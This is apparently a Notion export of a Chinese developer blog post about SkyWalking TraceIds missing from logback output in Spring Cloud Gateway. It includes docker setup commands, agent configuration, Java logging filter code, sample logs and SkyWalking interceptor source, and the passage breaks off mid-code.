cloud."]]},"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705767432426,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"a1dcafde-033c-49a8-9442-bd22aa378568":{"value":{"id":"a1dcafde-033c-49a8-9442-bd22aa378568","type":"text","properties":{"title":[["一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705772297047,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ddda7846-980f-4721-a3b4-b2953d261af9":{"value":{"id":"ddda7846-980f-4721-a3b4-b2953d261af9","type":"image","properties":{"size":[["66.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png"]]},"format":{"block_width":943,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/96bded73-53ce-4eb0-8549-7899d58355c5/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5058324496288441,"block_preserve_scale":true},"created_time":1705767731205,"last_edited_time":1705767734670,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["96bded73-53ce-4eb0-8549-7899d58355c5"]}},"2ec1c825-217c-429b-afee-6caa19a43975":{"value":{"id":"2ec1c825-217c-429b-afee-6caa19a43975","type":"header","properties":{"title":[["场景复现"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769812454,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f":{"value":{"id":"f6a2e306-a790-4fcb-af12-94ccdb9d0d7f","type":"sub_header","properties":{"title":[["版本"]]},"created_time":1705768046282,"last_edited_time":1705768185934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9b023386-b08f-4aa6-bef7-896a31790d84":{"value":{"id":"9b023386-b08f-4aa6-bef7-896a31790d84","type":"bulleted_list","properties":{"title":[["spring-cloud-gateway-dependencies = 3.1.3"]]},"created_time":1705768185933,"last_edited_time":1705768331452,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"53025e58-6041-4a0f-a4ec-5a552adfeaf2":{"value":{"id":"53025e58-6041-4a0f-a4ec-5a552adfeaf2","type":"bulleted_list","properties":{"title":[["skywalking-oap-server:9.3.0"]]},"created_time":1705768200635,"last_edited_time":1705768357934,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"a041e284-4a45-412e-b398-4a7ed69c1c37":{"value":{"id":"a041e284-4a45-412e-b398-4a7ed69c1c37","type":"bulleted_list","properties":{"title":[["skywalking-ui:9.3.0"]]},"created_time":1705768337871,"last_edited_time":1705768349258,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"849e8815-5eee-4e86-a63f-20722b7aa995":{"value":{"id":"849e8815-5eee-4e86-a63f-20722b7aa995","type":"bulleted_list","properties":{"title":[["apache-skywalking-java-agent:9.0.0"]]},"created_time":1705768362909,"last_edited_time":1705768424803,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5bfd9a27-7898-41d8-b891-1bbc13be8d85":{"value":{"id":"5bfd9a27-7898-41d8-b891-1bbc13be8d85","type":"bulleted_list","properties":{"title":[["假设有gateway+user两个模块"]]},"created_time":1705768920888,"last_edited_time":1705768939595,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"24317eef-356b-473c-b5c4-8ee8ec9f3ff4":{"value":{"id":"24317eef-356b-473c-b5c4-8ee8ec9f3ff4","type":"text","created_time":1705768047872,"last_edited_time":1705768047873,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9664075b-aae9-443c-947f-c212527f54e8":{"value":{"id":"9664075b-aae9-443c-947f-c212527f54e8","type":"sub_header","properties":{"title":[["skyWalking环境搭建"]]},"created_time":1705767891627,"last_edited_time":1705768543788,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9af8dde9-01fa-4690-b577-e20d51ad4ffb":{"value":{"id":"9af8dde9-01fa-4690-b577-e20d51ad4ffb","type":"code","properties":{"title":[["#先搞个elasticsearch 略\n\n#docker搭建skywalking-oap-server\ndocker run -d \\\n--name skywalking-oap \\\n--privileged=true \\\n-p 11800:11800 \\\n-p 12800:12800 \\\n--restart always \\\n-e SW_CORE_RECORD_DATA_TTL=15 \\\n-e SW_CORE_METRICS_DATA_TTL=15 \\\n-e SW_ENABLE_UPDATE_UI_TEMPLATE=\"true\" \\\n-e SW_HEALTH_CHECKER=default \\\n-e TZ=Asia/Shanghai \\\n-e SW_STORAGE=elasticsearch \\\n-e JAVA_OPTS=\"-Xms512m -Xmx1024m\" \\\n-e SW_STORAGE_ES_CLUSTER_NODES=host.docker.internal:9200 \\\n-e SW_ES_PASSWORD=guest \\\n-e  SW_ES_USER=elastic "],["apache/skywalking-oap-server:9.3.0",[["a","http://registry.docker-cn.com/apache/skywalking-oap-server:9.3.0"]]],[" \n\n#docker搭建skywalking-ui\ndocker run -d \\\n--name skywalking-ui \\\n--link skywalking-oap  \\\n--privileged=true \\\n-p 18080:8080  \\\n--restart always \\\n-e TZ=Asia/Shanghai \\\n-e SW_HEALTH_CHECKER=default \\\n-e SW_OAP_ADDRESS=http://host.docker.internal:12800 apache/skywalking-ui:9.3.0\n\n#下载agent\nwget "],["https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz",[["a","https://dlcdn.apache.org/skywalking/java-agent/9.0.0/apache-skywalking-java-agent-9.0.0.tgz"]]]],"language":[["Bash"]]},"created_time":1705768489471,"last_edited_time":1705772352936,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c":{"value":{"id":"9fc64fb0-a43a-4bdf-b9dd-61425023bb8c","type":"sub_header","properties":{"title":[["agent目录配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772366424,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"a13d2aa7-aebc-496f-9cc5-a4265f2ca292":{"value":{"id":"a13d2aa7-aebc-496f-9cc5-a4265f2ca292","type":"code","properties":{"title":[["#进入skywalking-agent目录\ncd skywalking-agent\n\n#拷贝optional-plugins里面的必要插件到activations\napm-toolkit-logback-1.x-activation-9.0.0.jar\napm-toolkit-logging-common-9.0.0.jar\napm-toolkit-trace-activation-9.0.0.jar\napm-toolkit-webflux-activation-9.0.0.jar"]],"language":[["Bash"]]},"created_time":1705772472190,"last_edited_time":1705775707518,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e043a384-8bde-4de7-9a50-37602c2ed361":{"value":{"id":"e043a384-8bde-4de7-9a50-37602c2ed361","type":"sub_header","properties":{"title":[["maven依赖"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775991661,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"7ff97387-22a0-429c-9c2c-4128b82bc66f":{"value":{"id":"7ff97387-22a0-429c-9c2c-4128b82bc66f","type":"code","properties":{"title":[["\u003cdependency\u003e\n    \u003cgroupId\u003eorg.apache.skywalking\u003c/groupId\u003e\n    \u003cartifactId\u003eapm-toolkit-trace\u003c/artifactId\u003e\n    \u003cversion\u003e9.0.0\u003c/version\u003e\n\u003c/dependency\u003e\n\u003cdependency\u003e\n    \u003cgroupId\u003eorg.apache.skywalking\u003c/groupId\u003e\n    \u003cartifactId\u003eapm-toolkit-logback-1.x\u003c/artifactId\u003e\n    \u003cversion\u003e9.0.0\u003c/version\u003e\n\u003c/dependency\u003e"]],"language":[["XML"]]},"created_time":1705775873958,"last_edited_time":1705775884073,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c4c8d23c-69ee-490b-9a74-0eeb131c14fb":{"value":{"id":"c4c8d23c-69ee-490b-9a74-0eeb131c14fb","type":"sub_header","properties":{"title":[["项目运行配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705775701945,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"66f7b00c-2f1b-42a0-af57-1ff1d633f955":{"value":{"id":"66f7b00c-2f1b-42a0-af57-1ff1d633f955","type":"text","properties":{"title":[["gateway和user模块都配上一下参数,注意SW_AGENT_NAME要变一下"]]},"created_time":1705769072350,"last_edited_time":1705769198271,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"3a2d209a-d79f-4540-828d-773a22eae9b4":{"value":{"id":"3a2d209a-d79f-4540-828d-773a22eae9b4","type":"code","properties":{"title":[["#vm\n-javaagent:/Users/y/Documents/development/skywalking-agent/skywalking-agent.jar\n#env\nMYSQL_HOST=127.0.0.1;SW_AGENT_NAME=gw;SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800;SW_AGENT_SPAN_LIMIT=2000"]],"language":[["Bash"]]},"created_time":1705769173537,"last_edited_time":1705769218262,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1a36dd47-5252-42f6-ade2-80ed742fb9f4":{"value":{"id":"1a36dd47-5252-42f6-ade2-80ed742fb9f4","type":"image","properties":{"size":[["94.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png"]]},"format":{"block_width":985,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8cbe5b42-7099-4ebd-bf21-ca0240e5932e/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5370558375634518,"block_preserve_scale":true},"created_time":1705769167672,"last_edited_time":1705769170915,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"file_ids":["8cbe5b42-7099-4ebd-bf21-ca0240e5932e"]}},"4caba176-ac58-4988-b755-471afac1a52d":{"value":{"id":"4caba176-ac58-4988-b755-471afac1a52d","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769790717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"b4ef4f0c-8378-421c-a55f-90c3a012fe29":{"value":{"id":"b4ef4f0c-8378-421c-a55f-90c3a012fe29","type":"sub_header","properties":{"title":[["logback配置"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769828763,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"1c9a8144-f42c-4114-b5cc-a451b261c4a4":{"value":{"id":"1c9a8144-f42c-4114-b5cc-a451b261c4a4","type":"code","properties":{"title":[["\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cconfiguration debug=\"false\" scan=\"false\"\u003e\n\n\t\u003c!-- 彩色日志格式   --\u003e\n\t\u003cproperty name=\"CONSOLE_LOG_PATTERN\" value=\"[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%highlight(%-5level)]  [%tid] [%thread] %cyan(%logger{50}:%L) - %msg%n\"/\u003e\n\t\n  \u003c!-- 彩色日志依赖的渲染类 --\u003e\n\t\u003cconversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\"/\u003e\n\t\u003cconversionRule conversionWord=\"wex\" converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\"/\u003e\n\t\u003cconversionRule conversionWord=\"wEx\" converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\"/\u003e\n\n\t\u003cappender name=\"console\" class=\"ch.qos.logback.core.ConsoleAppender\"\u003e\n\t\t\u003cencoder class=\"ch.qos.logback.core.encoder.LayoutWrappingEncoder\"\u003e\n\t\t\t\u003clayout class=\"org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout\"\u003e \n\t\t\t\t\u003cpattern\u003e${CONSOLE_LOG_PATTERN}\u003c/pattern\u003e\n\t\t\t\u003c/layout\u003e\n\t\t\u003c/encoder\u003e\n\t\u003c/appender\u003e\n\n\t\u003croot level=\"INFO\"\u003e\n\t\t\u003cappender-ref ref=\"console\"/\u003e\n\t\u003c/root\u003e\n\n\u003c/configuration\u003e"]],"language":[["XML"]]},"created_time":1705769832905,"last_edited_time":1705769898053,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0166e46c-5c22-4924-85c8-358ee4206ae2":{"value":{"id":"0166e46c-5c22-4924-85c8-358ee4206ae2","type":"sub_header","properties":{"title":[["gateway模块请求日志打印代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"c8b1acfb-2578-4b1d-83ee-6f622e1bd843":{"value":{"id":"c8b1acfb-2578-4b1d-83ee-6f622e1bd843","type":"text","properties":{"title":[["就是打印四条信息:请求开始,请求头,请求结束信息,请求结束返回"]]},"created_time":1705771698743,"last_edited_time":1705771734622,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"14af7bb3-3a67-4f83-8626-f377c1c56369":{"value":{"id":"14af7bb3-3a67-4f83-8626-f377c1c56369","type":"code","properties":{"title":[["@Slf4j\n@Component\npublic class ApiLogFilter implements GlobalFilter, Ordered {\n\n    private static final String START_TIME = \"startTime\";\n\n    private static final String X_REAL_IP = \"X-Real-IP\";\n\n    private final DataBuffer emptyBuffer = new NettyDataBufferFactory(ByteBufAllocator.DEFAULT).allocateBuffer(0);\n\n    @Override\n    public Mono\u003cVoid\u003e filter(ServerWebExchange exchange, GatewayFilterChain chain) {\n\n        //请求的基本信息\n        List\u003cString\u003e ips = exchange.getRequest().getHeaders().get(X_REAL_IP);\n        String ip = ips != null ? ips.get(0) : null;\n        String method = exchange.getRequest().getMethodValue();\n        String path = exchange.getRequest().getURI().getPath();\n\n        exchange.getAttributes().put(START_TIME, System.currentTimeMillis());\n        ServerHttpRequest request = exchange.getRequest();\n\n        if (path.contains(\"api-docs\")) {\n            log.warn(\"{}正在请求接口文档{}\", ip, path);\n            return chain.filter(exchange.mutate().request(request).build());\n        }\n\n        //打印请求开始日志\n        log.info(\"请求开始:\\n\\n方法:{}\\nHost:{}\\nip:{}\\n请求接口:{}\\n\", method, exchange.getRequest().getURI().getHost(), ip,\n            path);\n\n        //打印header头\n        log.info(\"请求头:\\n\\n{}\\n\", JSONUtil.toJsonStr(exchange.getRequest().getHeaders()));\n\n        //包装response,在任意地方返回打印结束信息等\n        ServerHttpResponse originalResponse = exchange.getResponse();\n        DataBufferFactory bufferFactory = originalResponse.bufferFactory();\n        ServerHttpResponseDecorator decoratedResponse = new ServerHttpResponseDecorator(originalResponse) {\n            @Override\n            @NotNull\n            public Mono\u003cVoid\u003e writeWith(@NotNull Publisher\u003c? extends DataBuffer\u003e body) {\n                Long startTime = exchange.getAttribute(START_TIME);\n                if (startTime != null) {\n                    Long executeTime = (System.currentTimeMillis() - startTime);\n                    int code = 500;\n                    if (exchange.getResponse().getStatusCode() != null) {\n                        code = exchange.getResponse().getStatusCode().value();\n                    }\n                    log.info(\"请求结束信息:\\n\\n响应状态码:{}\\n请求耗时:{}ms\\n\", code, executeTime);\n                }\n\n                if (body instanceof Flux) {\n                    Flux\u003c? extends DataBuffer\u003e fluxBody = Flux.from(body);\n                    return super.writeWith(fluxBody.map(dataBuffer -\u003e {\n                        byte[] content = new byte[dataBuffer.readableByteCount()];\n                        dataBuffer.read(content);\n                        DataBufferUtils.release(dataBuffer);\n                        String data = new String(content, StandardCharsets.UTF_8);//data\n                        log.info(\"请求结束返回: \\n\\n{}\\n\", data);\n                        return bufferFactory.wrap(content);\n                    }));\n                } else {\n                    log.error(\"\u003c--- {} 响应code异常\", getStatusCode());\n                }\n                MDC.clear();\n                return super.writeWith(body);\n            }\n        };\n        //打印请求参数\n        MultiValueMap\u003cString, String\u003e queryParams = request.getQueryParams();\n        if (!queryParams.isEmpty()) {\n            log.info(\"请求参数(url):\\n\\n{}\\n\", queryParams);\n        }\n\n        if (HttpMethod.POST.name().equals(method)) {\n            return DataBufferUtils.join(request.getBody()).defaultIfEmpty(emptyBuffer).flatMap(dataBuffer -\u003e {\n                byte[] bytes = new byte[dataBuffer.readableByteCount()];\n                if (PrimitiveArrayUtil.isNotEmpty(bytes)) {\n                    dataBuffer.read(bytes);\n                    String bodyString = new String(bytes, StandardCharsets.UTF_8);\n                    try {\n                        bodyString = UriUtils.decode(bodyString, \"UTF-8\");\n                    } catch (Exception e) {\n                        log.error(\"请求参数编码错误有特殊符号\", e);\n                    }\n                    log.info(\"请求参数(form):\\n\\n{}\\n\", bodyString);\n                    exchange.getAttributes().put(\"POST_BODY\", bodyString);\n                    DataBufferUtils.release(dataBuffer);\n                    Flux\u003cDataBuffer\u003e cachedFlux = Flux.defer(() -\u003e {\n                        DataBuffer buffer = exchange.getResponse().bufferFactory().wrap(bytes);\n                        return Mono.just(buffer);\n                    });\n                    ServerHttpRequest mutatedRequest = new ServerHttpRequestDecorator(request) {\n                        @Override\n                        public Flux\u003cDataBuffer\u003e getBody() {\n                            return cachedFlux;\n                        }\n                    };\n                    return chain.filter(exchange.mutate().request(mutatedRequest).response(decoratedResponse).build());\n                } else {\n                    return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n                }\n            });\n        }\n        return chain.filter(exchange.mutate().request(request).response(decoratedResponse).build());\n    }\n\n    @Override\n    public int getOrder() {\n        return Ordered.HIGHEST_PRECEDENCE;\n    }\n\n}"]],"language":[["Java"]]},"created_time":1705771640301,"last_edited_time":1705771680742,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4fdd346f-ce99-49d6-a7c7-728734284e76":{"value":{"id":"4fdd346f-ce99-49d6-a7c7-728734284e76","type":"sub_header","properties":{"title":[["user模块测试代码"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771687367,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d":{"value":{"id":"ab58e4d5-e7aa-4ba9-8c85-48b73ee0115d","type":"code","properties":{"title":[["\n@Slf4j\n@RestController\n@AllArgsConstructor\n@Tag(name = \"Test-测试通用\")\n@RequestMapping(\"/user/xxx/test\")\npublic class TestController {\n\n    @NoLoginRequired\n    @Operation(summary = \"testSkywalking\")\n    @GetMapping(value = \"/testSkywalking\")\n    public R\u003cString\u003e testSkywalking() {\n\n        log.info(\"user-testSkywalking\");\n\n        return R.ok();\n\n    }\n}\n "]],"language":[["Java"]]},"created_time":1705771793829,"last_edited_time":1705771867301,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c6104167-a456-4af4-b62a-d87bd0dc5b7f":{"value":{"id":"c6104167-a456-4af4-b62a-d87bd0dc5b7f","type":"text","format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705769231709,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"733c637e-92ba-4889-87a7-f84308daeb66":{"value":{"id":"733c637e-92ba-4889-87a7-f84308daeb66","type":"sub_header","properties":{"title":[["访问测试"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705771870844,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7":{"value":{"id":"f698fa80-fe58-4bec-a2aa-0afc33e8ffc7","type":"text","properties":{"title":[["通过网关访问testSkywalking测试结果如下"]]},"created_time":1705771871046,"last_edited_time":1705771894190,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"5132098d-d3aa-4e40-ae84-0408e95d1039":{"value":{"id":"5132098d-d3aa-4e40-ae84-0408e95d1039","type":"text","properties":{"title":[["gateway日志"]]},"created_time":1705771894381,"last_edited_time":1705771944386,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"1fc83cb3-1d07-43aa-bdea-0b706377887c":{"value":{"id":"1fc83cb3-1d07-43aa-bdea-0b706377887c","type":"code","properties":{"title":[["[TID:N/A] [reactor-http-nio-4] ApiLogFilter:77 - 请求开始:\n\n方法:GET\nHost:localhost\nip:null\n请求接口:/user/xxx/test/testSkywalking\n\n[TID:N/A] [reactor-http-nio-4] com.tommi.pet.gateway.filter.ApiLogFilter:81 - 请求头:\n\n{\"Host\":[\"localhost:9999\"]}\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:101 - 请求结束信息:\n\n响应状态码:200\n请求耗时:1062ms\n\n[TID:N/A] [reactor-http-nio-6] com.tommi.pet.gateway.filter.ApiLogFilter:111 - 请求结束返回: \n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705771950596,"last_edited_time":1705772143638,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"7bba3470-42ba-431c-9d63-49968c4ac543":{"value":{"id":"7bba3470-42ba-431c-9d63-49968c4ac543","type":"text","properties":{"title":[["user日志"]]},"created_time":1705771944641,"last_edited_time":1705771946746,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"c419ccc0-1429-4f18-af45-d9833e0282eb":{"value":{"id":"c419ccc0-1429-4f18-af45-d9833e0282eb","type":"code","properties":{"title":[["[TID:xx.17057720223290001] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705771964329,"last_edited_time":1705772164352,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"91afc304-892f-42d3-bbcc-bb59e4fdd8d8":{"value":{"id":"91afc304-892f-42d3-bbcc-bb59e4fdd8d8","type":"quote","properties":{"title":[["可以明显看到user模块的tid是正常输出的,可是gateway的日志死活都是N/A"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705772250930,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"d9b07a77-5441-4573-8a13-db4be5c3ea3b":{"value":{"id":"d9b07a77-5441-4573-8a13-db4be5c3ea3b","type":"text","created_time":1705772218229,"last_edited_time":1705772218551,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"97e7928f-be51-43d0-b14d-05127bbeff35":{"value":{"id":"97e7928f-be51-43d0-b14d-05127bbeff35","type":"header","properties":{"title":[["尝试解决"]]},"created_time":1705772218229,"last_edited_time":1705772234403,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"e325c70e-f58c-478c-90b8-eccec3b5d808":{"value":{"id":"e325c70e-f58c-478c-90b8-eccec3b5d808","type":"sub_header","properties":{"title":[["分析问题"]]},"created_time":1705772234694,"last_edited_time":1705772262480,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"584a5e58-4911-40f7-b4e8-67a14b578ba7":{"value":{"id":"584a5e58-4911-40f7-b4e8-67a14b578ba7","type":"text","properties":{"title":[["首先去去看看哪里输出的这个追踪码,没有找到9.0.0的源码,只找到8.7.0的源码,先搞下来研究研究:"],["https://github.com/apache/skywalking/blob/v8.7.0/",[["a","https://github.com/apache/skywalking/blob/v8.7.0/apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]],["。然后定位到logback插件,去寻找tid在哪里输出的,最终找到如下:"]]},"created_time":1705772263804,"last_edited_time":1705772745135,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706":{"value":{"id":"4b0d4b9b-c2e6-4fab-a1b4-01a7857bc706","type":"text","properties":{"title":[["apm-sniffer/apm-toolkit-activation/apm-toolkit-logback-1.x-activation/src/main/java/org/apache/skywalking/apm/toolkit/activation/log/logback/v1/x/PrintTraceIdInterceptor.java"]]},"created_time":1705772745402,"last_edited_time":1705773654817,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0d136c13-f56c-470a-82fd-2edf46b9e1da":{"value":{"id":"0d136c13-f56c-470a-82fd-2edf46b9e1da","type":"code","properties":{"title":[["\npublic class PrintTraceIdInterceptor implements InstanceMethodsAroundInterceptor {\n\n    @Override\n    public void beforeMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        MethodInterceptResult result) throws Throwable {\n\n    }\n\n    @Override\n    public Object afterMethod(EnhancedInstance objInst, Method method, Object[] allArguments, Class\u003c?\u003e[] argumentsTypes,\n        Object ret) throws Throwable {\n        if (!ContextManager.isActive()) {\n            if (allArguments[0] instanceof EnhancedInstance) {\n                SkyWalkingContext skyWalkingContext = (SkyWalkingContext) ((EnhancedInstance) allArguments[0]).getSkyWalkingDynamicField();\n                if (skyWalkingContext != null) {\n                    return \"TID:\" + skyWalkingContext.getTraceId();\n                }\n            }\n        }\n        return \"TID:\" + ContextManager.getGlobalTraceId();\n    }\n\n    @Override\n    public void handleMethodException(EnhancedInstance objInst, Method method, Object[] allArguments,\n        Class\u003c?\u003e[] argumentsTypes, Throwable t) {\n\n    